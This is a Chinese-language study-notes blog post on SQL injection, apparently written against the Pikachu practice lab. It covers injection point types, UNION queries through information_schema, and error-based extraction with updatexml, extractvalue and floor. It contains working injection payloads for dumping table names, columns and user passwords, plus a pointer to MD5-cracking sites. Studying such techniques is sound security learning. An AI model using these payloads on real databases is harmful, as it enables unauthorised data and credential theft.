美文网首页Web安全CTF-Web安全
sql注入学习笔记(一)

sql注入学习笔记(一)

作者: sunnnnnnnnnny | 来源:发表于2020-01-29 21:50 被阅读0次

SQL注入漏洞的基本原理和概念

数据库注入漏洞,主要是开发人员在开发过程中对前端输入的参数未进行过滤,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄漏的一种漏洞。


sql注入原理示意图

SQL Inject漏洞攻击流程

第一步:注入点探测
自动方式:使用web漏洞扫描工具,自动进行注入点发现
手动方式:手工构造sql inject测试语句进行注入点发现

第二步:信息获取
通过注入点取期望得到的数据

  1. 环境信息:数据库类型数据库版本,操作系统版本用户信息等。
  2. 数据库信息:数据库名称数据库表,表字段,字段內容(加密内容破解)

第三步:获取权限
获取操作系统权限:通过数据库执行shell,上传木马

SQL Inject漏洞常见注入点类型

数字型 user_id=$id
字符型 user_id='$id'
搜索型 text LIKE "%{$_GET['search']}%"

1.数字型

select 字段1,字段2 from 表名 where id=1 or 1=1;

后台代码


后台代码

2.字符型

select 字段1,字段2 from表名 where username = 'kobe' or 1=1 #';
kobe' or 1=1 #
后台代码

3.搜索型

like '%xxx%'  or 1=1#%

基于union的信息获取

union联合查询:可以通过联合查询来查询指定的数据
用法举例

select username, password from user where id=1 union select 字段1,字段2 from 表名
select database(); #获取当前的数据库名称
select user(); #获取当前的用户权限
select version(); #获取数据库的软件版本
select username, password from user where username=' ' union select database(), user() #
Select @@global version_compile_os from mysql_user;

联合查询的字段数需要和主查询一致!

如何猜测查询的字段数

思路:对查询的结果使用 order by按照指定的列进行排序,如果指定的列不存在,数据库会报错。

select id, email from member where username ='kobe' order by 2

information_schema数据库

可参考 MySQL的information_schema库

在mysql中,自带的 information_schema数据库中存放了大量的重要信息。
如果存在注入点的话,可以直接尝试对该数据库进行访问,从而获取更多的信息。
比如:

SCHEMATA表:提供了当前mysq实例中所有数据库的信息。是 show databases的结果取之此表
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个 schema,表类型,表引擎,创建时间等信息。是 show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及毎个列的信息。是 show columns from schemaname.tablename的结果取之此

#获取表名
select id, email from member where username = 'kobe' union select table_schema table_name from information_schema.tables where table_schema='pikachu'#
payload:
kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#

获取字段名:
select id, email from member where username ='kobe' union select table_name, column_name from information_schema.columns where table_name='user'#
payload:
kobe' union select table_name, column_name from information_schema.columns where table_name='user'#

#获取内容
select id, email from member where username ='kobe' union select username, password from users#
test pay load:
kobe' union select username, password from users#

查询出来的密码md5值可以使用彩虹表进行查询
https://www.cmd5.com/

基于函数报错的信息获取

  • 常用的报错函数 updatexml()、 extractvalue()、floor()
  • 基于函数报错的信息获取( select/insert,/ update/ delete)

技巧思路:

在 MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息
select/insert/ update/delete都可以使用报错来获取信息

背景条件

后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。

  • updatexmI()函数是MYSQ对XML文档数据进行查询和修改的 XPATH函数 可参考 https://blkstone.github.io/2017/11/09/updatexml-sqli/

  • extractvalue()(函数也是 MYSQL,对XML文档数据进行查询的 XPATH函数。

  • floor() MYSQL中用来取整的函数

updatexml

UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。会执行这个表达式,并返回报错结果
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
另外,updatexml最多只能显示32位,需要配合SUBSTR使用

基于报错: updatexmL()
payload:
kobe' and updatexml(1, version(),0)#
kobe' and updatexml(1, concat(0x7e,version()),0)#
结果 XPATH syntax error:'~5.7.21'
kobe' and updatexml(1,concat(0x7e,database ()),0)#

#报错只能一次显示一行
kobe' and updatexml(1, concat(0x7e, (select table_name from information_ schema.tables where table_schema='pikachu')),0)#
可以使用imit一次一行进行获取表名
kobe' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu' limit 0, 1)),0)#

在获取列名,思路是一样的
kobe' updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name=users limit 0,1),0)#
获取到列名称后,再来获取数据
kobe' and updatexml(l, concat(0x7e, (select username from users limit 0, 1)),0)#
kobe'  and updatexml(l, concat(0x7e,(select password from users where username='admin limit 0, 1)),0)#


基于 insert下的报错
xiaohong' or updatexml(1, concat(0x7e, database()),0) or
基于 delete下的报错
1 or updatexml(1, concat(0x7e,database ()),0)

extractvalue函数

这个函数使用方法与updatexml类似

extractvalue()函数作用:从目标XML中返回包含所查询值的字符串

ExtractValue(xml_document, xpath_string)
第一个参数: XML document是 String格式,为XML文档对象的名称,文中为DoCc
第二个参数: XPath_string(Xpath格式的字符串)
Xpath定位必须是有效的,否则则会发生错误

基于 extractvalue()

kobe' and extractvalue(0,concat(0x7e, version ()))#

floor函数

kobe' and (select 2 from (select count(*), concat (version (), floor( rand(0)*2))x from information_schema.tables group by x)a)#

参考资料

MySQL SQL Injection Cheat Sheet
MySQL updatexml()、extractvalue() 报错型SQL注入

相关文章

  • web安全之SQL注入

    2018/07/06 23:41 慕课网web安全之SQ之注入课程学习笔记 什么是SQL注入? 如何寻找SQL注入...

  • DVWA-SQL Injection(SQL注入)

    本系列文集:DVWA学习笔记 SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执...

  • WebGoat 靶场笔记

    sql注入笔记1.String SQL injection SELECT * FROM user_data WHE...

  • sql注入学习笔记(一)

    SQL注入漏洞的基本原理和概念 数据库注入漏洞,主要是开发人员在开发过程中对前端输入的参数未进行过滤,导致攻击者可...

  • web--杂烩

    这个笔记有点乱 0x01 cms XDCMS1、SQL注入漏洞 注册会员处的 SQL 注入/system/modu...

  • DVWA-SQL Injection(Blind)(SQL盲注)

    本系列文集:DVWA学习笔记 SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行...

  • Hacking PHP

    Edit by Qsaka 这篇paper只是个人的学习笔记,如有疏漏之处,欢迎指出。 0X01 SQL注入 这里...

  • SQL注入学习笔记

    SQL注入是在学习网络安全时最先学到的一个漏洞知识点,难度不大,记录一些知识点,以后可以快速回顾。 首先,SQL是...

  • SQL注入实验学习笔记

    实操靶场地址:SQL注入实验一[https://www.hetianlab.com/expc.do?ec=67dd...

  • 第四章 SQL 注入

    要点 SQL注入 SQL注入防护 一、SQL注入 SQL注入:黑客会通过构造一些恶意的输入参数,在应用拼接 SQL...

网友评论

    本文标题:sql注入学习笔记(一)

    本文链接:https://www.haomeiwen.com/subject/geuvthtx.html